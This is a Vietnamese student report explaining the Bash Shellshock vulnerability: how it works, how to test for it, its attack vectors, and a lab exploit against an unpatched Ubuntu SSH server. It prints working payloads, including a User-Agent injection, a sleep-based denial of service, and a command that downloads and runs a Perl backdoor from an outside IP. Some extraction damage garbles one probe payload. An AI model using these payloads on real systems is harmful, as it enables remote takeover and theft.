Tìm hiểu lỗ hổng shellshock Chương I. Tổng quan 1. Lỗ hổng Shellshock 2. Shellshock nguy hiểm như thế nào? 3. Kiểm tra lỗ hổng Shellshock Chương II. Tìm hiểu Shellshock 1.Các khái niệm cơ bản 2. Cách kiểm tra máy bị lỗ hổng Shellshock 3. Cơ chế hoạt động 4. Các cách tấn công: 5. Các kịch bản tấn công: Chương III. Shellshock attack 1. Chuẩn bị 2. Thực hiện tấn công Chương IV. Phương pháp khắc phục
Trang 1Danh mục
Trang 2Lời nói đầu
Trang 4Bảo mật là một trong những lĩnh vực mà hiện nay giới công nghệ thông tin khá quan tâm Một khi internet ra đời và phát triển, nhu cầu trao đổi thông tin trở nên cần thiết Mục tiêu của việc nối mạng là làm cho mọi người có thể
sử dụng chung tài nguyên từ những vị trí địa lý khác nhau Cũng chính vì vậy
mà các tài nguyên cũng rất dễ dàng bị phân tán, dẫn một điều hiển nhiên là chúng sẽ bị xâm phạm, gây mất mát dữ liệu cũng như các thông tin có giá trị Càng giao thiệp rộng thì càng dễ bị tấn công, đó là một quy luật Từ đó, vấn
đề bảo vệ thông tin cũng đồng thời xuất hiện Bảo mật ra đời.
Tất nhiên, mục tiêu của bảo mật không chỉ nằm gói gọn trong lĩnh vực bảo vệ thông tin mà còn nhiều phạm trù khác như kiểm duyệt web, bảo mật internet, bảo mật http, bảo mật trên các hệ thống thanh toán điện tử và giao dịch trực tuyến….
Mội nguy cơ trên mạng đều là mối nguy hiểm tiểm tàng Từ một lổ hổng bảo mật nhỏ của hệ thống, nhưng nếu biết khai thác và lợi dụng với tầng suất cao
và kỹ thuật hack điêu luyện thì cũng có thể trở thành tai họa.
Theo thống kê của tổ chức bảo mật nổi tiếng CERT (Computer Emegancy Response Team) thì số vụ tấn công ngày càng tăng Cụ thể năm 1989 có
khoản 200 vụ, đến năm 1991 có 400 vụ, đến năm 1994 thì con số này tăng lên đến mức 1330 vụ, và sẽ còn tăng mạnh trong thời gian tới.
Như vậy, số vụ tấn công ngày càng tăng lên với múc độ chóng mặt Điều này cũng dễ hiểu, vì một thực thể luôn tồn tại hai mặt đối lập nhau Sự phát triển
Trang 5mạnh mẽ của công nghệ thông tin và kỹ thuật sẽ làm cho nạn tấn công, ăn cắp, phá hoại trên internet bùng phát mạnh mẽ.
Trong thời gian gần đây xuất hiện một số lỗ hổng cực kì nghiêm trọng trong
đó có heartbleel được coi là một lỗ hổng cực kỳ nguy hiểm bên canh đó còn xuất hiện một lỗ hổng được coi là nguy hiểm hơn cả đó là shellshock
Qua đè tài nghiên cứu này chúng ta se tìm hiểu về độ nguy hiểm và cách thức hoạt động của sheelshock
Trang 6Lỗ hổng Shellshock được công bố bới Stephane Chazelas cho phép kẻ tấn công thực thi lệnh điều khiển từ xa trên các hệ thống bị lỗi này.
Trang 72 Shellshock nguy hiểm như thế nào?
Shellshock được các chuyên gia an toàn mạng đánh giá mức độ nguy hểm cao hơn
Trang 8Ngày 26 tháng 9, công ty bảo mật Incapsula đưa ra báo cáo có 17.400 tấn công vào hơn 1.800 trang web, khởi nguồn từ 400 địa chỉ IP, trong 24 giờ trước đó; 55% tấn công đến từ Trung Quốc và Mỹ Ngày 30 tháng 9, công ty CloudFlare công bố rằng có khoảng 1,5 triệu tấn công và thăm dò mỗi ngày liên quan đến lỗi Shellshock.
Ngày mùng 6 tháng 10, các máy chủ Yahoo được báo cáo là đã bị kiểm soát bởi một tấn công liên quan đến lỗi Shellshock
3 Kiểm tra lỗ hổng Shellshock:
Để kiểm tra máy bạn có bị lỗi Shellshock hay không thì bạn có thể sử dụng đoạn mã như sau:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Nếu kết quả trả về là:
vulnerable
this is a test
tức là máy tính (máy chủ) của bạn đã bị dính lỗi
CHƯƠNG 2 TÌM HIỂU SHELLSHOCK
1 Các Khái Niệm Cơ bản
SHELL (hay còn gọi là hệ vỏ) là một interface nằm giữa OS Kernel và người dùng, nó cung cấp môi trường để người dùng thao tác với Kernel Các chương trình shell sẽ làm nhiệm vụ thông dịch (interpret) các lệnh của người dùng sang
Trang 9chương trình có sẵn trên hệ thống từ đó thực thi các chức năng tương ứng Các lệnh này người dùng có thể nhập trực tiếp qua chế độ tương tác (interactive) hoặc thông qua dạng script Các shell script sẽ được thông dịch (chứ không phải biên dịch – compile) Điểm khác biệt giữa cách thức hoạt động của shell và trình biên dịch (compiler) đó là:
+ shell đọc các lệnh trong script tuần tự từ trên xuống, tìm vị trí các lệnh
đó trong hệ thống để thực thi
+ compiler sẽ biên dịch các lệnh trong script sang một dạng mà máy tính
có thể hiểu được, ví dụ mã máy và sinh ra một chương trình (program) tương ứng Chương trình này sẽ có thể được sử dụng bởi các shell script sau này
bash (Bourne Again shell): được viết bởi Brian Fox trong khuôn khổ một dự án của GNU cho việc thay thế sh, được công bố rộng rãi vào khoảng 1989 Cung cấp rất nhiều tiện ích và là shell mặc định được sử dụng trên Linux, Mac OS X, Darwin hiện nay Đây sẽ là đối tượng chúng ta sử dụng và trải nghiệm
Lỗ hổng Shellshock ảnh hưởng đến Bash, một chương trình mà các hệ thống Unix sử dụng để thực thi các dòng lệnh và các kịch bản lệnh Nó thường được cài đặt là giao diện command-lines mặc định của hệ thống Bash là phần mềm miễn phí, được phát triển hợp tác và giám sát từ năm 1992 trên cơ sở tự nguyện của Chet Ramey, một kiến trúc sư phần mềm chuyên nghiệp Sau khi phân tích
Trang 10mã nguồn của Bash cho thấy lỗ hổng đã tồn tại từ phiên bản 1.03 phát hành từ 9/1989 Người giới thiệu đầu tiên là Brian Fox.
2 Cách Kiểm Tra Máy Bị Lỗ Hổng ShellShock
Để kiểm tra hệ thống có đang bị lỗ hổng trên ta có thể sử dụng câu lệnh dưới đây:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Các hệ thống bị lỗ hổng này sẽ ra kết quả như hình dưới:
Các hệ thống không bị lỗ hổng này sẽ ra kết quả:
Trang 11Các quản trị hệ thống cần kiểm tra gấp các hệ thống của mình đồng thời cập nhật gấp khi phát hiện hệ thống đang bị lỗ hổng Hiện tại mới có Redhat và centos đưa ra bản cập nhật
3 Cơ chế hoạt động
Trong hệ thống Unix-based và trong các hệ điều hành khác mà Bash hỗ trợ, mỗi chương trình có danh sách riêng của các cặp name/values được gọi là biến môi trường Khi một chương trình khởi chạy một chương trình khác nó sẽ cung cấp một danh sách khởi tạo các biến môi trường cho chương trình mới này Mặt khác, Bash lưu giữ một danh sách các hàm chứa một tập các lệnh mà sẽ được thực thi cùng với chương trình Vì Bash hoạt động như là một trình thông dịch lệnh và vừa được coi như là một lệnh, nên có thể chạy Bash từ chính môi trường của nó Khi điều này xảy ra, thực thể ban đầu có thể export các biến môi trường
và các định nghĩa hàm thành các thực thể mới Các định nghĩa hàm được export bằng cách mã hóa chúng cùng với các biến môi trường có giá trị bắt đầu bằng () theo sau là định nghĩa hàm Thực thể mới của Bash, khi chạy, sẽ tìm các biến môi trường có giá trị theo định dạng này và chuyển chúng thành các hàm
Nó thực hiện việc chuyển đổi bằng cách tạo ra một đoạn mã từ giá trị của biến môi trường và thực thi nó, vấn đề ở chỗ các phiên bản Bash lỗi không kiểm tra tính hợp lệ của một định nghĩa hàm do đó một lỗ hổng bảo mật sẽ được tạo ra theo cách này
Từ đây ta có thể giải thích cách hoạt động cho đoạn mã sau:
Trang 12$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Nó tạo ra một biến môi trường bắt đầu với chuỗi () { :; }, tạo ra một định nghĩa hàm rỗng; theo sau là lệnh sẽ được thực thi khi biến môi trường này được export Lệnh Bash được chạy sau đó sẽ thực hiện việc export biến môi trường này và lệnh echo sẽ được thực thi cùng với nó
4 Các cách tấn công:
Việc tấn công vào Shellshock là hết sức đơn giản, đơn giản tới mức một user bình thường không cần nhiều kiến thức về IT cũng có thể thực hiện một tấn công Shellshock được Để thực hiện tấn công Shellshock bạn chỉ cần sử dụng lệnh có dạng như sau:
$ curl -H "User-Agent: () { :; }; /bin/echo vulnerable" http://example.com/
Tấn công trên sử dụng User-Agent header của request gửi đến web server example.com để server đó thực hiện chạy lệnh $ echo vulnerable Tại sao có thể thực hiện được một tấn công đơn giản như thế? ngoài việc tấn công vào web server ra còn có thể tấn công được vào các dịch vụ mạng nào nữa? Dưới đây là giải thích cho cách hoạt động của tấn công trên và nêu ra một
số dịch vụ cũng bị ảnh hưởng bởi lỗi Shellshock:
CGI-based web server
Khi một web server sử dụng CGI để xử lý một request, nó truyền các thông tin
có trong request tới chương trình xử lý sử dụng các biến môi trường Ví dụ, biến
Trang 13HTTP_USER_AGENT thông thường chứa tên chương trình gửi request đến web server Nếu trình xử lý request là một Bash script, hoặc nếu nó thực thi một lệnh nào đó ví dụ như việc sử dụng system call, Bash sẽ nhận vào các biến môi trường được truyền vào bởi server và xử lý chúng Kẻ tấn công sử dụng phương thức này để kích hoạt tấn công Shellshock với một request đặc biệt tới server.
SSH server
OpenSSH có một tính năng là ForceCommand, thực hiện một lệnh nào đó khi
user đăng nhập vào, thay vì chạy shell để user tương tác với hệ thống Lệnh được thực hiện ngay cả khi user chỉ định rằng nên chạy một lệnh khác; trong trường hợp đó, lệnh ban đầu được đưa vào biến môi trường SSH_ORIGINAL_COMMAND Khi chạy lệnh, Bash sẽ phân tích biến môi trường SSH_ORIGINAL_COMMAND ngay khi khởi động, và chạy các lệnh được nhúng vào trong đó Kẻ tấn công sử dụng phương thức này của SSH server để chiếm quyền điều khiên của máy nạn nhân có chứa lỗi Shellshock
DHCP
Một vài DHCP client có thể truyền các lệnh cho Bash; hệ thống chứa lỗi bảo mật có thể bị tấn công khi kết nối tới một mạng Wi-Fi công cộng Một DHCP client thường yêu cầu xin cấp một địa chỉ IP từ một DHCP server, nhưng nó cũng có thể được cung cấp một chuỗi các tùy chọn thêm Một DHCP server có thể cung cấp, trong một trong những tùy chọn, một chuỗi kí tự đặc biệt để khai thác lỗi bảo mật Shellshock
Trang 14Email system
Tùy thuộc vào cấu hình hệ thống xác định, một gmail mail server có thể truyền tham số đầu vào từ bên ngoài vào Bash theo cách có thể khai thác được lỗi bảo mật Shellshock
5 Các kịch bản tấn công:
Để thực hiện các tấn công Shellshock thì trước tiên kẻ tấn công phải xác định các máy mục tiêu và xác định xem các máy đó có dính lỗi bảo mật Shellshock hay không Sau đây là một số tấn công sử dụng lỗi Shellshock
Thăm dò
Kẻ tấn công sẽ sử dụng một đoạn mã theo dạng
cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.comtrong một request tới máy mục tiêu Nếu máy mục tiêu dính lỗi bảo mật Shellshock nó sẽ gửi 1 ping request với nội dung xác định trên tới máy đã bị kiểm soát bởi kẻ tấn công Kẻ tấn công sau đó sẽ phân tích gói tin ping request
để xác định mục tiêu nào có lỗi Shellshock
Từ chối dịch vụ
Tấn công này có thể sử dụng một đoạn mã như sau:
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20
để server chạy lệnh sleep theo 3 cách khác nhau (do cấu hình của các hệ điều hành khác nhau), server sẽ đợi 20 giây sau mới phản hồi lại cho client, việc này
Trang 15sẽ làm tiêu tốn tài nguyên của server do connection bị chiếm giữ trong một thời gian dài, gây lãng phí bộ nhớ.
Chiếm quyền điều khiển
Mục tiêu của kẻ tấn công là chiếm quyền điều khiển trên máy nạn nhân để thực hiện các mục đích khác nhau Đoạn mã tấn công sẽ có dạng:
() { :;}; /bin/bash -c \"cd /tmp;wget
http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
để máy mục tiêu thực hiện download đoạn mã perl và thực thi đoạn mã đó Đoạn chương trình này cho phép kẻ tấn công thực hiện truy cập từ xa tới máy nạn nhân
CHƯƠNG 3 SHELLSHOCK ATTACK
1 Chuẩn bị
Quá trình demo tấn công dựa trên kịch bản xây dựng với SSH server
Xây dựng máy chủ làm mục tiêu tấn công:
Trang 16Cài đặt máy ảo Ubuntu Server, 12.04 LTS và không thực hiện việc nâng cấp các phần mềm.
Hình 1: kiểm tra thông tin của máy
Kích hoạt dịch vụ ssh:
Tạo một user và cung cấp cho user một thư mục nhà cho user này:
Hình 2: Tạo user và cấp cho user một thư mục nhà cho user này
Sau đó, tạo thư mục shh và thêm public key của máy tấn công vào tập tin authorized_keys
Trang 17Hình 3: Tạo thư mục shh và thêm public key của máy tấn công vào tập tin
authorized_keys.
Cuối cùng thực hiện kiểm tra ssh, ở bước này, đảm bảo khi ssh vào máy chủ không cần mật khẩu
Trang 18Hình 4:
Cuối cùng, để thực hiện khai thác, không cần key đã lưu trữ Chúng ta sẽ thay đổi lại để user demo không có khả năng đăng nhập khi sử dụng key đã lưu trữ Điều này có thể thực hiện bằng cách thêm “command=”command bạn muốn” trong tập tin chứa key Ở ví dụ này, chúng ta sẽ thêm lệnh echo vào
Hình 5:
Trang 19Bây giờ, khi thực hiện ssh lại vào máy chủ, chúng ta sẽ nhận được tin nhắn
“Access Denied”, việc đăng nhập không thành công cho đến khi có lệnh khác được đẩy vào kết nối ssh
Hình 6:
2 Thực hiện tấn công
Ở phần này, chúng ta sẽ thực hiện tấn công máy chủ dựa trên lỗ hổng Shellshock Như đã thực hiện ở bước cuối cùng trong phần chuẩn bị, tất cả các lệnh khác sẽ không được cho phép cho đến khi tài khoản và key phù hợp Nhưng khi chúng ta thêm vào cú pháp sau với ssh:
' () { :;}; lệnh_của_bạn'
Chúng ta sẽ thử với việc xem tập tin /etc/passwd:
Trang 20Hình 7: Xem nội dung file passwd
Như trong hình, điều nay dẫn tới một thoả hiệp với máy chủ, và key có thể bị đánh cắp từ một user Điều này vô cùng nguy hiểm vì kẻ tấn công có thể lấy được nội dung tập tin /etc/shadow và thực hiện lấy việc bẻ khoá mật khẩu Hay đơn giản hơn, kẻ tấn công có thể tạo một shell ngược, cung cấp một điểm thao tác với máy chủ, từ đó chuẩn bị cho việc leo thang đặc quyền
Hình 8:
Trang 21Hình 9:
Hình 10:
Từ các ví dụ trên, chúng ta thấy được độ nguy hiểm của lỗ hổng Shellshock Để
vá lại lỗ hổng này, chúng ta nên cập nhật bash trên máy chủ với bản vá do nhà phát hành cung cấp
Tài liệu tham khảo:
http://en.wikipedia.org/wiki/Shellshock_
%28software_bug%29
Trang 22m
week-later-how-much-damage-did-shellshock-cause